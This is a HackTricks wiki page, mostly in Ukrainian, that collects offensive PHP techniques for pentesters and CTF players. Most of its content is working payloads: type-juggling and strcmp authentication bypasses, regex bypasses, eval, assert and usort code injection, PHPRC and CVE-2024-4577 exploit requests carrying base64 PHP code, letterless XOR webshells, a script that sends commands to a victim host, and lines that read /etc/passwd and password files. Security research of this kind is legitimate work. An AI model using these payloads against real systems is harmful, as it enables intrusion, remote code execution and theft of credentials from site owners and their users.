PHP Tricks

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Cookies common location:

Це також стосується куків phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Місця:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Обхід порівнянь PHP

Слабкі порівняння/Типове маніпулювання ( == )

Якщо в PHP використовується ==, то є несподівані випадки, коли порівняння не веде себе так, як очікується. Це пов'язано з тим, що "==" порівнює лише значення, перетворені в один і той же тип, якщо ви також хочете порівняти, що тип порівнюваних даних однаковий, вам потрібно використовувати ===.

Таблиці порівняння PHP: https://www.php.net/manual/en/types.comparisons.php

590KB
EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
pdf
  • "string" == 0 -> True Рядок, який не починається з числа, дорівнює числу

  • "0xAAAA" == "43690" -> True Рядки, що складаються з чисел у десятковому або шістнадцятковому форматі, можуть бути порівняні з іншими числами/рядками з результатом True, якщо числа були однаковими (числа в рядку інтерпретуються як числа)

  • "0e3264578" == 0 --> True Рядок, що починається з "0e" і за яким слідує будь-що, буде дорівнювати 0

  • "0X3264578" == 0X --> True Рядок, що починається з "0" і за яким слідує будь-яка літера (X може бути будь-якою літерою) і за яким слідує будь-що, буде дорівнювати 0

  • "0e12334" == "0" --> True Це дуже цікаво, оскільки в деяких випадках ви можете контролювати вхідний рядок "0" і деякий вміст, який хешується і порівнюється з ним. Тому, якщо ви можете надати значення, яке створить хеш, що починається з "0e" і без будь-якої літери, ви могли б обійти порівняння. Ви можете знайти вже захешовані рядки з цим форматом тут: https://github.com/spaze/hashes

  • "X" == 0 --> True Будь-яка літера в рядку дорівнює int 0

Більше інформації на https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Типове маніпулювання також впливає на функцію in_array() за замовчуванням (вам потрібно встановити третій аргумент в true, щоб зробити строгий порівняння):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Якщо ця функція використовується для будь-якої перевірки автентифікації (наприклад, перевірка пароля) і користувач контролює одну сторону порівняння, він може надіслати порожній масив замість рядка як значення пароля (https://example.com/login.php/?username=admin&password[]=) і обійти цю перевірку:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Та ж помилка виникає з strcasecmp()

Жорстке приведення типів

Навіть якщо === використовується, можуть бути помилки, які роблять порівняння вразливим до приведення типів. Наприклад, якщо порівняння перетворює дані в інший тип об'єкта перед порівнянням:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() може бути використано для перевірки введення користувача (він перевіряє, чи є будь-яке слово/регулярний вираз з чорного списку присутнім у введенні користувача, і якщо його немає, код може продовжити своє виконання).

Обхід нового рядка

Однак, при обмеженні початку регулярного виразу preg_match() перевіряє лише перший рядок введення користувача, тому, якщо якимось чином ви зможете надіслати введення в кількох рядках, ви зможете обійти цю перевірку. Приклад:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Щоб обійти цю перевірку, ви можете надіслати значення з новими рядками, закодованими в URL (%0A), або якщо ви можете надіслати JSON-дані, надішліть їх у кількох рядках:

{
"cmd": "cat /etc/passwd"
}

Знайдіть приклад тут: https://ramadistra.dev/fbctf-2019-rceservice

Обхід помилки довжини

(Цей обхід, очевидно, був спробований на PHP 5.2.5, і мені не вдалося змусити його працювати на PHP 7.3.15) Якщо ви зможете надіслати preg_match() дійсний дуже великий вхід, він не зможе його обробити і ви зможете обійти перевірку. Наприклад, якщо він блокує JSON, ви можете надіслати:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

From: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Trick from: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

Коротко кажучи, проблема виникає через те, що функції preg_* у PHP базуються на бібліотеці PCRE. У PCRE певні регулярні вирази співпадають, використовуючи багато рекурсивних викликів, що займає багато стекового простору. Можливо встановити обмеження на кількість дозволених рекурсій, але в PHP це обмеження за замовчуванням становить 100.000, що більше, ніж вміщується в стек.

Ця тема на Stackoverflow також була згадана в пості, де більш детально обговорюється ця проблема. Наше завдання стало зрозумілим: Надіслати вхідні дані, які змусили б regex виконати 100_000+ рекурсій, викликавши SIGSEGV, змусивши функцію preg_match() повернути false, таким чином змусивши додаток вважати, що наші вхідні дані не є шкідливими, підкидаючи сюрприз в кінці корисного навантаження щось на кшталт {system(<verybadcommand>)} для отримання SSTI --> RCE --> flag :).

Отже, в термінах regex, ми насправді не виконуємо 100k "рекурсій", а замість цього ми рахуємо "кроки назад", які, як зазначає документація PHP, за замовчуванням становлять 1_000_000 (1M) у змінній pcre.backtrack_limit.\ Щоб досягти цього, 'X'*500_001 призведе до 1 мільйона кроків назад (500k вперед і 500k назад):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Перетворення типів для обфускації PHP

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Якщо PHP перенаправляє на іншу сторінку, але жодна функція die або exit не викликається після того, як заголовок Location встановлено, PHP продовжує виконання та додає дані до тіла:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Вразливість обходу шляху та включення файлів

Перевірте:

File Inclusion/Path traversal

Більше трюків

  • register_globals: У PHP < 4.1.1.1 або якщо неправильно налаштовано, register_globals може бути активним (або їхня поведінка імітується). Це означає, що в глобальних змінних, таких як $_GET, якщо вони мають значення, наприклад, $_GET["param"]="1234", ви можете отримати доступ до них через $param. Таким чином, відправляючи HTTP параметри, ви можете перезаписати змінні, які використовуються в коді.

  • PHPSESSION куки одного домену зберігаються в одному місці, тому якщо в межах домену використовуються різні куки в різних шляхах, ви можете зробити так, щоб шлях отримував доступ до куки іншого шляху, встановивши значення куки іншого шляху. Таким чином, якщо обидва шляхи отримують доступ до змінної з однаковою назвою, ви можете зробити так, щоб значення цієї змінної в path1 застосовувалося до path2. І тоді path2 вважатиме змінні path1 дійсними (надаючи куки ім'я, яке відповідає йому в path2).

  • Коли у вас є імена користувачів користувачів машини. Перевірте адресу: /~<USERNAME>, щоб дізнатися, чи активовані php каталоги.

password_hash/password_verify

Ці функції зазвичай використовуються в PHP для генерації хешів з паролів та для перевірки, чи є пароль правильним у порівнянні з хешем. Підтримувані алгоритми: PASSWORD_DEFAULT та PASSWORD_BCRYPT (починається з $2y$). Зверніть увагу, що PASSWORD_DEFAULT часто є тим же, що і PASSWORD_BCRYPT. І наразі PASSWORD_BCRYPT має обмеження на розмір вхідних даних у 72 байти. Тому, коли ви намагаєтеся згенерувати хеш для чогось більшого за 72 байти за допомогою цього алгоритму, будуть використані лише перші 72B:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP заголовки обхід зловживання помилками PHP

Виклик помилки після встановлення заголовків

З цього треду в твіттері ви можете побачити, що надсилаючи більше ніж 1000 GET параметрів або 1000 POST параметрів або 20 файлів, PHP не буде встановлювати заголовки у відповіді.

Це дозволяє обійти, наприклад, заголовки CSP, які встановлюються в кодах, таких як:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Заповнення тіла перед встановленням заголовків

Якщо PHP-сторінка виводить помилки та відображає деякі дані, надані користувачем, користувач може змусити PHP-сервер вивести деякий контент достатньої довжини, так що коли він намагається додати заголовки до відповіді, сервер видасть помилку. У наступному сценарії зловмисник змусив сервер видати великі помилки, і, як ви можете бачити на екрані, коли PHP намагався змінити інформацію заголовка, він не зміг (тому, наприклад, заголовок CSP не був надісланий користувачу):

SSRF у функціях PHP

Перевірте сторінку:

PHP SSRF

Виконання коду

system("ls"); `ls`; shell_exec("ls");

Перевірте це для більш корисних функцій PHP

RCE через preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Щоб виконати код у аргументі "replace", потрібне принаймні одне співпадіння. Ця опція preg_replace була застаріла з PHP 5.5.0.

RCE через Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE через Assert()

Ця функція в php дозволяє вам виконувати код, написаний у рядку, щоб повернути true або false (і в залежності від цього змінити виконання). Зазвичай змінна користувача буде вставлена в середину рядка. Наприклад: assert("strpos($_GET['page']),'..') === false") --> У цьому випадку, щоб отримати RCE, ви могли б зробити:

?page=a','NeVeR') === false and system('ls') and strpos('a

Вам потрібно зламати синтаксис коду, додати ваш payload, а потім виправити його знову. Ви можете використовувати логічні операції такі як "and" або "%26%26" або "|". Зверніть увагу, що "or", "||" не працює, оскільки якщо перша умова істинна, наш payload не буде виконано. Так само ";" не працює, оскільки наш payload не буде виконано.

Інша опція - додати до рядка виконання команди: '.highlight_file('.passwd').'

Інша опція (якщо у вас є внутрішній код) - змінити деяку змінну, щоб змінити виконання: $file = "hola"

RCE через usort()

Ця функція використовується для сортування масиву елементів за допомогою конкретної функції. Щоб зловживати цією функцією:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

Ви також можете використовувати // для коментування решти коду.

Щоб виявити кількість дужок, які потрібно закрити:

  • ?order=id;}//: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ';'). Можливо, нам не вистачає однієї або кількох дужок.

  • ?order=id);}//: ми отримуємо попередження. Це, здається, правильно.

  • ?order=id));}//: ми отримуємо повідомлення про помилку (Parse error: syntax error, unexpected ')' i). Можливо, у нас занадто багато закриваючих дужок.

RCE через .httaccess

Якщо ви можете завантажити .htaccess, то ви можете налаштувати кілька речей і навіть виконати код (налаштувавши, щоб файли з розширенням .htaccess могли бути виконані).

Різні оболонки .htaccess можна знайти тут

RCE через змінні середовища

Якщо ви знайдете вразливість, яка дозволяє вам модифікувати змінні середовища в PHP (і ще одну для завантаження файлів, хоча з більшою дослідженням, можливо, це можна обійти), ви могли б зловживати цією поведінкою, щоб отримати RCE.

  • LD_PRELOAD: Ця змінна середовища дозволяє вам завантажувати довільні бібліотеки під час виконання інших бінарних файлів (хоча в цьому випадку це може не спрацювати).

  • PHPRC : Інструктує PHP про де знайти свій конфігураційний файл, зазвичай називається php.ini. Якщо ви можете завантажити свій власний конфігураційний файл, то використовуйте PHPRC, щоб вказати PHP на нього. Додайте запис auto_prepend_file, що вказує на другий завантажений файл. Цей другий файл містить звичайний PHP код, який потім виконується PHP-інтерпретатором перед будь-яким іншим кодом.

  1. Завантажте PHP файл, що містить наш shellcode

  2. Завантажте другий файл, що містить директиву auto_prepend_file, інструктуючи PHP-препроцесор виконати файл, який ми завантажили на етапі 1

  3. Встановіть змінну PHPRC на файл, який ми завантажили на етапі 2.

  • Отримайте більше інформації про те, як виконати цей ланцюг з оригінального звіту.

  • PHPRC - ще один варіант

  • Якщо ви не можете завантажити файли, ви можете використовувати в FreeBSD "файл" /dev/fd/0, який містить stdin, будучи тілом запиту, надісланого до stdin:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'

  • Або для отримання RCE, увімкніть allow_url_include і додайте файл з base64 PHP кодом:

  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'

  • Техніка з цього звіту.

XAMPP CGI RCE - CVE-2024-4577

Веб-сервер аналізує HTTP запити і передає їх PHP скрипту, виконуючи запит, такий як http://host/cgi.php?foo=bar як php.exe cgi.php foo=bar, що дозволяє ін'єкцію параметрів. Це дозволить ін'єктувати наступні параметри для завантаження PHP коду з тіла:

-d allow_url_include=1 -d auto_prepend_file=php://input

Крім того, можливо ввести параметр "-" за допомогою символу 0xAD через подальшу нормалізацію PHP. Перевірте приклад експлуатації з цього посту:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

У цьому пості можна знайти чудові ідеї для генерації brain fuck PHP коду з дуже обмеженою кількістю дозволених символів. Більше того, також пропонується цікавий спосіб виконання функцій, які дозволили їм обійти кілька перевірок:

(1)->{system($_GET[chr(97)])}

PHP Статичний аналіз

Подивіться, чи можете ви вставити код у виклики цих функцій (з тут):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Якщо ви налагоджуєте PHP-додаток, ви можете глобально увімкнути друк помилок у /etc/php5/apache2/php.ini, додавши display_errors = On, і перезапустити apache: sudo systemctl restart apache2

Деобфускація PHP-коду

Ви можете використовувати web www.unphp.net для деобфускації php-коду.

PHP обгортки та протоколи

PHP обгортки та протоколи можуть дозволити вам обійти захисти на запис і читання в системі та скомпрометувати її. Для додаткової інформації перегляньте цю сторінку.

Xdebug неавторизований RCE

Якщо ви бачите, що Xdebug увімкнено в phpconfig() виводі, вам слід спробувати отримати RCE через https://github.com/nqxcode/xdebug-exploit

Змінні змінних

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE зловживання новим $_GET["a"]($_GET["b")

Якщо на сторінці ви можете створити новий об'єкт довільного класу, ви можете отримати RCE, перевірте наступну сторінку, щоб дізнатися як:

PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Виконання PHP без літер

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Використання воськової системи

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

Згідно з цією статтею можливо згенерувати простий shellcode таким чином:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Отже, якщо ви можете виконувати довільний PHP без цифр і літер, ви можете надіслати запит, подібний до наступного, зловживаючи цим корисним навантаженням для виконання довільного PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Для більш детального пояснення перегляньте https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (всередині eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Perl подібний

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Last updated